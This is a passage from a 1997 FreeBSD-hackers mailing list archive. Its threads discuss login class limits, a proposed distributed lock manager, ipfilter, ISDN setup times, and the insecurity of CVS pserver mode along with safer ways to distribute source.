stable enough for this to happen, though. BTW: What kind of setup are you running to get <2s setup time? I'm consistently ending up at 4-5s, having tried with different external TAs, ISDN-adapters, PPP-implementations and portmasters. Eivind. From owner-freebsd-hackers Tue Sep 16 22:05:16 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id WAA15402 for hackers-outgoing; Tue, 16 Sep 1997 22:05:16 -0700 (PDT) Received: from sendero-ppp.i-connect.net (sendero-ppp.i-Connect.Net [206.190.143.100]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id WAA15367 for ; Tue, 16 Sep 1997 22:04:58 -0700 (PDT) Received: (qmail 2468 invoked by uid 1000); 17 Sep 1997 05:05:19 -0000 Message-ID: X-Mailer: XFMail 1.2-alpha [p0] on FreeBSD X-Priority: 3 (Normal) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 In-Reply-To: <199709170401.VAA24302@rah.star-gate.com> Date: Tue, 16 Sep 1997 22:05:19 -0700 (PDT) Organization: Atlas Telecom From: Simon Shapiro To: Amancio Hasty Subject: Re: Distributed Lock Manager on FreeBSD Cc: FreeBSD-Hackers@FreeBSD.ORG Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Hi Amancio Hasty; On 17-Sep-97 you wrote: > Hi, > > Can we implement something like Microsoft's Wolf Pack with your DLM? And what is this Microsoft Wolf Pack? --- Sincerely Yours, (Sent on 16-Sep-97, 21:49:50 by XF-Mail) Simon Shapiro Atlas Telecom Senior Architect 14355 SW Allen Blvd., Suite 130 Beaverton OR 97005 Shimon@i-Connect.Net Voice: 503.643.5559, Emergency: 503.799.2313 From owner-freebsd-hackers Tue Sep 16 22:23:10 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id WAA16475 for hackers-outgoing; Tue, 16 Sep 1997 22:23:10 -0700 (PDT) Received: from labs.usn.blaze.net.au (mail@labs.usn.blaze.net.au [203.17.53.30]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id WAA16466 for ; Tue, 16 Sep 1997 22:23:05 -0700 (PDT) Received: from labs.usn.blaze.net.au [127.0.0.1] (davidn) by labs.usn.blaze.net.au with esmtp (Exim 1.61 #1) id 0xBCYn-0000cS-00 (Debian); Wed, 17 Sep 1997 15:21:57 +1000 X-Mailer: exmh version 2.0zeta 7/24/97 To: Joao Carlos Mendes Luis cc: batie@aahz.jf.intel.com (Alan Batie), tom@sdf.com, hackers@freebsd.org Subject: Re: login classes In-reply-to: Your message of "Wed, 17 Sep 1997 00:06:38 -0300." <199709170306.AAA15683@gaia.coppe.ufrj.br> X-Face: (W@z~5kg?"+5?!2kHP)+l369.~a@oTl^8l87|/s8"EH?Uk~P#N+Ec~Z&@;'LL!;3?y Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Wed, 17 Sep 1997 16:21:57 +1100 From: David Nugent Message-Id: Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > // The default and root classes have plenty of processes, so something isn't > // getting setup properly for things that are started out of rc. > > rc files use the daemon class, which is too conservative... > > Perhaps we need a change in this class. If possible, in time to 2.2.5. It sounds like limits(1) might be needed in some cases. That's why it exists. I really don't think this is an issue that needs to be fiddled with in the default installation. If "daemon" resources don't suit a particular installation, then obviously they need to change it or use an alternative class with better tuned resources for a particular case, but there's no formula that will suit everyone in all cases. Regards, David From owner-freebsd-hackers Tue Sep 16 22:32:40 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id WAA17197 for hackers-outgoing; Tue, 16 Sep 1997 22:32:40 -0700 (PDT) Received: from rah.star-gate.com (rah.star-gate.com [204.188.121.18]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id WAA17189 for ; Tue, 16 Sep 1997 22:32:38 -0700 (PDT) Received: from rah.star-gate.com (localhost.star-gate.com [127.0.0.1]) by rah.star-gate.com (8.8.7/8.8.5) with ESMTP id WAA08110; Tue, 16 Sep 1997 22:32:30 -0700 (PDT) Message-Id: <199709170532.WAA08110@rah.star-gate.com> X-Mailer: exmh version 2.0gamma 1/27/96 To: Simon Shapiro cc: FreeBSD-Hackers@FreeBSD.ORG Subject: Re: Distributed Lock Manager on FreeBSD In-reply-to: Your message of "Tue, 16 Sep 1997 22:05:19 PDT." Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Tue, 16 Sep 1997 22:32:29 -0700 From: Amancio Hasty Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Microsoft's strategy for server clusters: http://www.microsoft.com/ntserver/info/reliabilityoverview.htm Cheers, Amancio >From The Desk Of Simon Shapiro : > > Hi Amancio Hasty; On 17-Sep-97 you wrote: > > Hi, > > > > Can we implement something like Microsoft's Wolf Pack with your DLM? > > And what is this Microsoft Wolf Pack? > > --- > > > Sincerely Yours, (Sent on 16-Sep-97, 21:49:50 > by XF-Mail) > > Simon Shapiro Atlas Telecom > Senior Architect 14355 SW Allen Blvd., Suite 130 Beaverton OR 97005 > Shimon@i-Connect.Net Voice: 503.643.5559, Emergency: 503.799.2313 From owner-freebsd-hackers Tue Sep 16 22:43:56 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id WAA17972 for hackers-outgoing; Tue, 16 Sep 1997 22:43:56 -0700 (PDT) Received: from gate.mgt.msk.ru (mgtrep.24h.dialup.ru [194.87.18.139]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id WAA17919 for ; Tue, 16 Sep 1997 22:43:23 -0700 (PDT) Received: from asteroid.mgt.msk.ru (asteroid.mgt.msk.ru [192.168.133.145]) by gate.mgt.msk.ru (8.8.6/8.8.6) with ESMTP id JAA10250 for ; Wed, 17 Sep 1997 09:42:30 +0400 (MSD) Received: from asteroid.mgt.msk.ru (localhost.mgt.msk.ru [127.0.0.1]) by asteroid.mgt.msk.ru (8.8.6/8.8.6) with ESMTP id JAA06072 for ; Wed, 17 Sep 1997 09:41:52 +0400 (MSD) Message-Id: <199709170541.JAA06072@asteroid.mgt.msk.ru> To: freebsd-hackers@FreeBSD.ORG Reply-To: tarkhil@mgt.msk.ru Subject: Re: lets get ipfilter as default In-reply-to: Your message of "Tue, 16 Sep 1997 20:00:02 CDT." Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Wed, 17 Sep 1997 09:41:52 +0400 From: "Alexander B. Povolotsky" Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > Seeing ipfilter sitting in /usr/src/contrib, in a mostly Where? I couldn't find it... (2.2.2-RELENG) > It is clearly better, and if its not integrated because it doesnt > work, that is incorrect. When the first version came out with a freebsd > port, proff patched it all up and it worked great. His patches may still BTW, can anyone help me with setting up transparent proxy with ipfilter and it's ipnat? Alex. From owner-freebsd-hackers Tue Sep 16 22:43:58 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id WAA17986 for hackers-outgoing; Tue, 16 Sep 1997 22:43:58 -0700 (PDT) Received: from freebie.lemis.com (gregl1.lnk.telstra.net [139.130.136.133]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id WAA17965 for ; Tue, 16 Sep 1997 22:43:54 -0700 (PDT) Received: (from grog@localhost) by freebie.lemis.com (8.8.7/8.8.5) id PAA07592; Wed, 17 Sep 1997 15:13:42 +0930 (CST) Message-ID: <19970917151342.00824@lemis.com> Date: Wed, 17 Sep 1997 15:13:42 +0930 From: Greg Lehey To: Eivind Eklund Cc: Joerg Wunsch , hackers@FreeBSD.ORG Subject: Re: Kernel clock runs inaccurately References: <199709080124.JAA14004@tao.sinanet.com.tw> <19970908081010.DS04250@uriah.heep.sax.de> <199709102025.WAA02815@bitbox.follo.net> <19970911064231.JG62790@uriah.heep.sax.de> <199709170431.GAA29657@bitbox.follo.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.81e In-Reply-To: <199709170431.GAA29657@bitbox.follo.net>; from Eivind Eklund on Wed, Sep 17, 1997 at 06:31:55AM +0200 Organisation: LEMIS, PO Box 460, Echunga SA 5153, Australia Phone: +61-8-8388-8250 Fax: +61-8-8388-8250 Mobile: +61-41-739-7062 WWW-Home-Page: http://www.lemis.com/~grog Fight-Spam-Now: http://www.cauce.org Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Wed, Sep 17, 1997 at 06:31:55AM +0200, Eivind Eklund wrote: >> >> Too expensive still. The dialup itself is ISDN, so the setup time is >> ~ 2 seconds or less, but having an xntpd calling each 5 or 15 minutes >> would greatly increase our phone and Internet costs. > > BTW: What kind of setup are you running to get <2s setup time? I'm > consistently ending up at 4-5s, having tried with different external > TAs, ISDN-adapters, PPP-implementations and portmasters. Call setup time is usually outside your control. It depends on the public network. When I lived in Germany, setup time was closer to 1 second than 2. Greg From owner-freebsd-hackers Tue Sep 16 23:09:14 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id XAA19674 for hackers-outgoing; Tue, 16 Sep 1997 23:09:14 -0700 (PDT) Received: from scanner.worldgate.com (scanner.worldgate.com [198.161.84.3]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id XAA19669 for ; Tue, 16 Sep 1997 23:09:12 -0700 (PDT) Received: from znep.com (uucp@localhost) by scanner.worldgate.com (8.8.7/8.8.7) with UUCP id AAA17288; Wed, 17 Sep 1997 00:07:15 -0600 (MDT) Received: from localhost (marcs@localhost) by alive.znep.com (8.7.5/8.7.3) with SMTP id AAA07251; Wed, 17 Sep 1997 00:09:22 -0600 (MDT) Date: Wed, 17 Sep 1997 00:09:22 -0600 (MDT) From: Marc Slemko To: itojun@itojun.org cc: hackers@FreeBSD.ORG Subject: Re: cvs pserver mode In-Reply-To: <18005.874469962@itojun.csl.sony.co.jp> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk First, don't use pserver. It sucks. Badly. It stores unencrypted passwords on the clients disk and anyone with a shell on the server an steal connections (and hence passwords) from users connecting. Bad. Secondly, you need the --allow-root option to tell it what repositories to use. This is new in 1.9.10 or something like that. On Wed, 17 Sep 1997 itojun@itojun.org wrote: > does any of you have trouble using pserver mode of cvs? > > I got cvs 1.19.10 on /usr/bin/cvs (got from FreeBSD-current) > and every time I use login command, cvs bails out with "incorrect > password" message. > I've tried my UNIX password and cvs password (by making > CVSROOT/password), and $CVSROOT with "localhost" and canonical > hostname, but they do not seem to change the behavior. > > >% cvs -d :pserver:itojun@localhost:/export/somewhere/cvsroot login > >(Logging in to itojun@localhost) > >CVS password: > >cvs [login aborted]: incorrect password > > inetd.conf is as follows: > >cvspserver stream tcp nowait root /usr/bin/cvs cvs -b /usr/bin pserver > > If anybody have some clue for this, please drop me a note. Thanks! > > itojun > From owner-freebsd-hackers Tue Sep 16 23:10:34 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id XAA19759 for hackers-outgoing; Tue, 16 Sep 1997 23:10:34 -0700 (PDT) Received: from alpo.whistle.com (alpo.whistle.com [207.76.204.38]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id XAA19754 for ; Tue, 16 Sep 1997 23:10:32 -0700 (PDT) Received: (from daemon@localhost) by alpo.whistle.com (8.8.5/8.8.5) id XAA07881; Tue, 16 Sep 1997 23:04:26 -0700 (PDT) Received: from current1.whistle.com(207.76.205.22) via SMTP by alpo.whistle.com, id smtpd007879; Wed Sep 17 06:04:20 1997 Date: Tue, 16 Sep 1997 23:03:38 -0700 (PDT) From: Julian Elischer To: itojun@itojun.org cc: hackers@FreeBSD.ORG Subject: Re: cvs pserver mode In-Reply-To: <18005.874469962@itojun.csl.sony.co.jp> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk have you set the allow-root= setting in your inetd.conf? it's new for 1.9.10 On Wed, 17 Sep 1997 itojun@itojun.org wrote: > does any of you have trouble using pserver mode of cvs? > > I got cvs 1.19.10 on /usr/bin/cvs (got from FreeBSD-current) > and every time I use login command, cvs bails out with "incorrect > password" message. > I've tried my UNIX password and cvs password (by making > CVSROOT/password), and $CVSROOT with "localhost" and canonical > hostname, but they do not seem to change the behavior. > > >% cvs -d :pserver:itojun@localhost:/export/somewhere/cvsroot login > >(Logging in to itojun@localhost) > >CVS password: > >cvs [login aborted]: incorrect password > > inetd.conf is as follows: > >cvspserver stream tcp nowait root /usr/bin/cvs cvs -b /usr/bin pserver > > If anybody have some clue for this, please drop me a note. Thanks! > > itojun > From owner-freebsd-hackers Tue Sep 16 23:13:37 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id XAA20043 for hackers-outgoing; Tue, 16 Sep 1997 23:13:37 -0700 (PDT) Received: from unix.tfs.net (root@unix.tfs.net [199.79.146.60]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id XAA20034 for ; Tue, 16 Sep 1997 23:13:25 -0700 (PDT) Received: from argus.tfs.net (pm3-p40.tfs.net [206.154.183.232]) by unix.tfs.net (8.8.5/8.8.5) with ESMTP id AAA30914; Wed, 17 Sep 1997 00:11:58 -0500 Received: (from jbryant@localhost) by argus.tfs.net (8.8.5/8.8.5) id BAA00466; Wed, 17 Sep 1997 01:13:18 -0500 (CDT) From: Jim Bryant Message-Id: <199709170613.BAA00466@argus.tfs.net> Subject: Re: Distributed Lock Manager on FreeBSD In-Reply-To: from Simon Shapiro at "Sep 16, 97 07:36:15 pm" To: Shimon@i-Connect.Net (Simon Shapiro) Date: Wed, 17 Sep 1997 01:13:16 -0500 (CDT) Cc: freebsd-hackers@freebsd.org Reply-to: jbryant@tfs.net X-Windows: R00LZ!@# MS-Winbl0wz DR00LZ!@# X-Operating-System: FreeBSD 2.2.2-RELEASE #0: Wed Jul 9 01:01:24 CDT 1997 X-Mailer: ELM [version 2.4ME+ PL31H (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk In reply: > We are putting the finishing touches on a true general purpose distributed > lock manager for FreeBSD. This message is a solicitation for interest. If > I receive enough interest in it I will start a chain of discussions on the > subject and solicit core review for inclusion in FreeBSD. This may not be > easy as some of my management would like to keep it proprietary. I would be interested in such a thing... > + What is it good for? We are using it to build our non-stop RDBMS server, > which is composed of a group of FreeBSD machines tied to a single disk > farm. The RDBMS is PgSQL with the lock manager replaced with the DLM and > the storage manager replaced with the DBFS/DIO module I am still working > on. More info please... > If any of this is of any interest to any of you, drop me a line. Please > try to do so soon , so I can decide how to document the thing. documentation is one of the things i've been doing lately... jim -- All opinions expressed are mine, if you | "I will not be pushed, stamped, think otherwise, then go jump into turbid | briefed, debriefed, indexed, or radioactive waters and yell WAHOO !!! | numbered!" - #1, "The Prisoner" ------------------------------------------------------------------------------ Inet: jbryant@tfs.net AX.25: kc5vdj@wv0t.#neks.ks.usa.noam grid: EM28PW voice: KC5VDJ - 6 & 2 Meters AM/FM/SSB, 70cm FM. http://www.tfs.net/~jbryant ------------------------------------------------------------------------------ HF/6M/2M: IC-706-MkII, 2M: HTX-212, 2M: HTX-202, 70cm: HTX-404, Packet: KPC-3+ From owner-freebsd-hackers Tue Sep 16 23:15:31 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id XAA20167 for hackers-outgoing; Tue, 16 Sep 1997 23:15:31 -0700 (PDT) Received: from unix.tfs.net (root@unix.tfs.net [199.79.146.60]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id XAA20161 for ; Tue, 16 Sep 1997 23:15:29 -0700 (PDT) Received: from argus.tfs.net (pm3-p40.tfs.net [206.154.183.232]) by unix.tfs.net (8.8.5/8.8.5) with ESMTP id AAA30996; Wed, 17 Sep 1997 00:13:37 -0500 Received: (from jbryant@localhost) by argus.tfs.net (8.8.5/8.8.5) id BAA00475; Wed, 17 Sep 1997 01:14:57 -0500 (CDT) From: Jim Bryant Message-Id: <199709170614.BAA00475@argus.tfs.net> Subject: Re: Distributed Lock Manager on FreeBSD In-Reply-To: <199709170401.VAA24302@rah.star-gate.com> from Amancio Hasty at "Sep 16, 97 09:01:28 pm" To: hasty@rah.star-gate.com (Amancio Hasty) Date: Wed, 17 Sep 1997 01:14:56 -0500 (CDT) Cc: freebsd-hackers@freebsd.org Reply-to: jbryant@tfs.net X-Windows: R00LZ!@# MS-Winbl0wz DR00LZ!@# X-Operating-System: FreeBSD 2.2.2-RELEASE #0: Wed Jul 9 01:01:24 CDT 1997 X-Mailer: ELM [version 2.4ME+ PL31H (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk In reply: > Hi, > > Can we implement something like Microsoft's Wolf Pack with your DLM? I'm not too familiar with WolfPack, but is it the thing they licensed from Tandem? jim -- All opinions expressed are mine, if you | "I will not be pushed, stamped, think otherwise, then go jump into turbid | briefed, debriefed, indexed, or radioactive waters and yell WAHOO !!! | numbered!" - #1, "The Prisoner" ------------------------------------------------------------------------------ Inet: jbryant@tfs.net AX.25: kc5vdj@wv0t.#neks.ks.usa.noam grid: EM28PW voice: KC5VDJ - 6 & 2 Meters AM/FM/SSB, 70cm FM. http://www.tfs.net/~jbryant ------------------------------------------------------------------------------ HF/6M/2M: IC-706-MkII, 2M: HTX-212, 2M: HTX-202, 70cm: HTX-404, Packet: KPC-3+ From owner-freebsd-hackers Tue Sep 16 23:19:56 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id XAA20490 for hackers-outgoing; Tue, 16 Sep 1997 23:19:56 -0700 (PDT) Received: from fang.cs.sunyit.edu (root@fang.cs.sunyit.edu [192.52.220.66]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id XAA20479 for ; Tue, 16 Sep 1997 23:19:52 -0700 (PDT) Received: from localhost (perlsta@localhost) by fang.cs.sunyit.edu (8.8.5/8.7.3) with SMTP id EAA18297; Wed, 17 Sep 1997 04:21:47 GMT Date: Wed, 17 Sep 1997 04:21:46 +0000 (GMT) From: Alfred Perlstein To: Simon Shapiro cc: FreeBSD-Hackers@FreeBSD.ORG Subject: Re: Distributed Lock Manager on FreeBSD In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk what you are doing is awesome, any more information would be greatly appreciated. Alfred On Tue, 16 Sep 1997, Simon Shapiro wrote: > We are putting the finishing touches on a true general purpose distributed > lock manager for FreeBSD. This message is a solicitation for interest. If > I receive enough interest in it I will start a chain of discussions on the > subject and solicit core review for inclusion in FreeBSD. This may not be > easy as some of my management would like to keep it proprietary. > > To illustrate, an Oracle equivalent (subset, really) had a cost of over > $250,000 for the source and about 1/5 for binary. > > > VERY BRIEF SUMMARY: > > DLM is a method by which cooperating processes on different machines (even > different operating systems) can inform each other of interest in a named > object. Just like a database lock manager, or a file system lock manager, > but with the ability to span hosts in real time. > > Some highlight of this DLM: > > * Kernel implementation; All the locking logic is in the O/S kernel, not > in userspace. > > * Multi-state, hirerchial lock with up to 32 states per lock. > > * Conflict resolution built in; Caller can specify which states to > consider in conflict analysis. > > * Conflict Blocking; Caller can specify which conflict to block on. > > * Programmable conflict block; Allows caller to specify how long to wait. > > * Multiple-locking. Individual states can accumulate; A locker can > specify that multiple ``read'' locks are permitted. the DLM will > track how many are actually applied. > > * Remote Locking; A call to the local DLM agent for locking a remote > resource is automatically proxied. > > * Shared Locking; If a resource is shared, the DLM will apply both local > and remote lock and automatically/instantly resolve deadlocks. > > * Multi-path; Each resource can have its own data path (TCP/IP, SCSI, > RCS-232, etc.) UDP support is running, SCSI support via DPT is > forthcoming. > > * External resource management; The mapping of resources is external to > the locking agent. > > * Distributed; There is no central locking authority, although you can > easily create one via resource configuration. > > + What is it good for? We are using it to build our non-stop RDBMS server, > which is composed of a group of FreeBSD machines tied to a single disk > farm. The RDBMS is PgSQL with the lock manager replaced with the DLM and > the storage manager replaced with the DBFS/DIO module I am still working > on. > > If any of this is of any interest to any of you, drop me a line. Please > try to do so soon , so I can decide how to document the thing. > > > > --- > > > Sincerely Yours, (Sent on 16-Sep-97, 19:18:09 > by XF-Mail) > > Simon Shapiro Atlas Telecom > Senior Architect 14355 SW Allen Blvd., Suite 130 Beaverton OR 97005 > Shimon@i-Connect.Net Voice: 503.643.5559, Emergency: 503.799.2313 > From owner-freebsd-hackers Tue Sep 16 23:23:11 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id XAA20907 for hackers-outgoing; Tue, 16 Sep 1997 23:23:11 -0700 (PDT) Received: from zibbi.mikom.csir.co.za (zibbi.mikom.csir.co.za [146.64.24.58]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id XAA20892 for ; Tue, 16 Sep 1997 23:23:01 -0700 (PDT) Received: (from jhay@localhost) by zibbi.mikom.csir.co.za (8.8.7/8.8.7) id IAA11373; Wed, 17 Sep 1997 08:22:02 +0200 (SAT) From: John Hay Message-Id: <199709170622.IAA11373@zibbi.mikom.csir.co.za> Subject: Re: login classes In-Reply-To: from David Nugent at "Sep 17, 97 04:21:57 pm" To: davidn@labs.usn.blaze.net.au (David Nugent) Date: Wed, 17 Sep 1997 08:22:02 +0200 (SAT) Cc: hackers@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL31 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > rc files use the daemon class, which is too conservative... > > > > Perhaps we need a change in this class. If possible, in time to 2.2.5. > > It sounds like limits(1) might be needed in some cases. That's why > it exists. I really don't think this is an issue that needs to be > fiddled with in the default installation. If "daemon" resources > don't suit a particular installation, then obviously they need to > change it or use an alternative class with better tuned resources > for a particular case, but there's no formula that will suit everyone > in all cases. But if the shipped defaults does not work for most people, shouldn't the shipped defaults change? I would guess that most FreeBSD boxes are used as single-user machines, so maybe we should ship it with more relaxed limits? At the moment the shipped defaults does not seem to work for anything that I have, which is news servers, web servers, development servers, mail servers or personal machines. Or maybe we must specify for what kind of box the defaults is suitable? John -- John Hay -- John.Hay@mikom.csir.co.za From owner-freebsd-hackers Tue Sep 16 23:33:52 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id XAA21822 for hackers-outgoing; Tue, 16 Sep 1997 23:33:52 -0700 (PDT) Received: from itojun.csl.sony.co.jp (root@itojun.csl.sony.co.jp [133.138.1.134]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id XAA21799 for ; Tue, 16 Sep 1997 23:33:42 -0700 (PDT) From: itojun@itojun.org Received: from localhost (itojun@localhost [127.0.0.1]) by itojun.csl.sony.co.jp (8.8.5/3.3W3) with ESMTP id PAA19603; Wed, 17 Sep 1997 15:28:23 +0900 (JST) To: Marc Slemko Cc: hackers@freebsd.org Subject: Re: cvs pserver mode X-Template-Reply-To: itojun@itojun.org X-Template-Return-Receipt-To: itojun@itojun.org X-PGP-Fingerprint: F8 24 B4 2C 8C 98 57 FD 90 5F B4 60 79 54 16 E2 References: In-reply-to: Marc Slemko 's message of Wed, 17 Sep 1997 00:09:22 -0600 (MDT). X-Mailer: comp (MHng project) version 1997/08/04 03:38:46, by Jun-ichiro Itoh MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Content-transfer-encoding: 7bit Content-ID: Date: Wed, 17 Sep 1997 15:28:22 +0900 Message-ID: <19600.874477702@itojun.csl.sony.co.jp> Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk >> does any of you have trouble using pserver mode of cvs? >First, don't use pserver. It sucks. Badly. It stores unencrypted >passwords on the clients disk and anyone with a shell on the server an >steal connections (and hence passwords) from users connecting. Bad. >Secondly, you need the --allow-root option to tell it what repositories to >use. This is new in 1.9.10 or something like that. Thanks very much for the comment (and to Julian), I'll keep myself away from pserver. My goal is to have a way to publish half-public source code to 20 or so people, without giving them an account on my machine. (they won't make changes to my repository) Options seems to be as follows, but I don't know which is good/bad. - cvs pserver (should stay away from this) - anonymous cvs + some modification (how to set it up? OpenBSD people uses this to keep them in sync) - cvsupd + some modification (current version has no authentication, it seems) - give an account (say, "mygroup") to them and use rsh/ssh Please let me know your opinion. Thanks! itojun From owner-freebsd-hackers Tue Sep 16 23:35:06 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id XAA22001 for hackers-outgoing; Tue, 16 Sep 1997 23:35:06 -0700 (PDT) Received: from gaia.coppe.ufrj.br (jonny@cisigw.coppe.ufrj.br [146.164.5.200]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id XAA21976 for ; Tue, 16 Sep 1997 23:35:00 -0700 (PDT) Received: (from jonny@localhost) by gaia.coppe.ufrj.br (8.8.7/8.8.7) id DAA17864; Wed, 17 Sep 1997 03:33:07 -0300 (EST) From: Joao Carlos Mendes Luis Message-Id: <199709170633.DAA17864@gaia.coppe.ufrj.br> Subject: Re: login classes In-Reply-To: from David Nugent at "Sep 17, 97 04:21:57 pm" To: davidn@labs.usn.blaze.net.au (David Nugent) Date: Wed, 17 Sep 1997 03:33:06 -0300 (EST) Cc: jonny@coppe.ufrj.br, batie@aahz.jf.intel.com, tom@sdf.com, hackers@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL32 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk #define quoting(David Nugent) // > // > Perhaps we need a change in this class. If possible, in time to 2.2.5. // // It sounds like limits(1) might be needed in some cases. That's why // it exists. I really don't think this is an issue that needs to be // fiddled with in the default installation. If "daemon" resources // don't suit a particular installation, then obviously they need to // change it or use an alternative class with better tuned resources // for a particular case, but there's no formula that will suit everyone // in all cases. Sure, but at least the limits in the daemon class could be soft and not hard. I have a squid startup script that takes care for me of the resource limits, but it can do nothing about hard limits. Anyway, why hard limit any root program ? The defaults should be used to limit unexpected things, not to restrict unaware users. Big daemons like squid may take care of themselves, if left to their own control. And last, but not least, the default has already been fiddled, since the limits were bigger before login classes. I know (after some hacking) that I must edit /etc/login.conf to allow squid in rc.local, but new users will probably not know, and will think it's a FreeBSD problem. "You said FreeBSD was better than Linux, but Linux could ran my cache server and FreeBSD can't" And it's not easy to understand why the program runs when you start it manually and does not run when started in rc.local. Jonny -- Joao Carlos Mendes Luis jonny@gta.ufrj.br +55 21 290-4698 jonny@coppe.ufrj.br Universidade Federal do Rio de Janeiro UFRJ/COPPE/CISI PGP fingerprint: 29 C0 50 B9 B6 3E 58 F2 83 5F E3 26 BF 0F EA 67 From owner-freebsd-hackers Tue Sep 16 23:45:07 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id XAA22813 for hackers-outgoing; Tue, 16 Sep 1997 23:45:07 -0700 (PDT) Received: from scanner.worldgate.com (scanner.worldgate.com [198.161.84.3]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id XAA22805 for ; Tue, 16 Sep 1997 23:45:04 -0700 (PDT) Received: from znep.com (uucp@localhost) by scanner.worldgate.com (8.8.7/8.8.7) with UUCP id AAA19327; Wed, 17 Sep 1997 00:44:28 -0600 (MDT) Received: from localhost (marcs@localhost) by alive.znep.com (8.7.5/8.7.3) with SMTP id AAA07406; Wed, 17 Sep 1997 00:46:33 -0600 (MDT) Date: Wed, 17 Sep 1997 00:46:33 -0600 (MDT) From: Marc Slemko To: itojun@itojun.org cc: hackers@freebsd.org Subject: Re: cvs pserver mode In-Reply-To: <19600.874477702@itojun.csl.sony.co.jp> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Wed, 17 Sep 1997 itojun@itojun.org wrote: > >> does any of you have trouble using pserver mode of cvs? > >First, don't use pserver. It sucks. Badly. It stores unencrypted > >passwords on the clients disk and anyone with a shell on the server an > >steal connections (and hence passwords) from users connecting. Bad. > >Secondly, you need the --allow-root option to tell it what repositories to > >use. This is new in 1.9.10 or something like that. > > Thanks very much for the comment (and to Julian), I'll keep myself > away from pserver. > > My goal is to have a way to publish half-public source code to > 20 or so people, without giving them an account on my machine. > (they won't make changes to my repository) How concerned are you about people who shouldn't get it getting this source? That will dictate how strong you need your authentication to be. > Options seems to be as follows, but I don't know which is good/bad. > - cvs pserver (should stay away from this) > - anonymous cvs + some modification > (how to set it up? OpenBSD people uses this to keep them in sync) > - cvsupd + some modification > (current version has no authentication, it seems) > - give an account (say, "mygroup") to them and use rsh/ssh > > Please let me know your opinion. Thanks! My recommendation, is some form of anoncvs in a chrooted environment running as a non-root uid without write access to the repository. That is what I do for the apache anoncvs tree. Of course, this requires that: - you hack the cvs source so it doesn't try to setuid() if using pserver - you have a good wrapper around it - you hack it (or steal OpenBSD's read-only CVS enhancements) to deal with repositories without write access This can be less than simple. It can, however, be implemented using either rsh, ssh or pserver. ssh is by far the best for security, and you can just add people to the authorized_keys file (you do have to restrict what commands 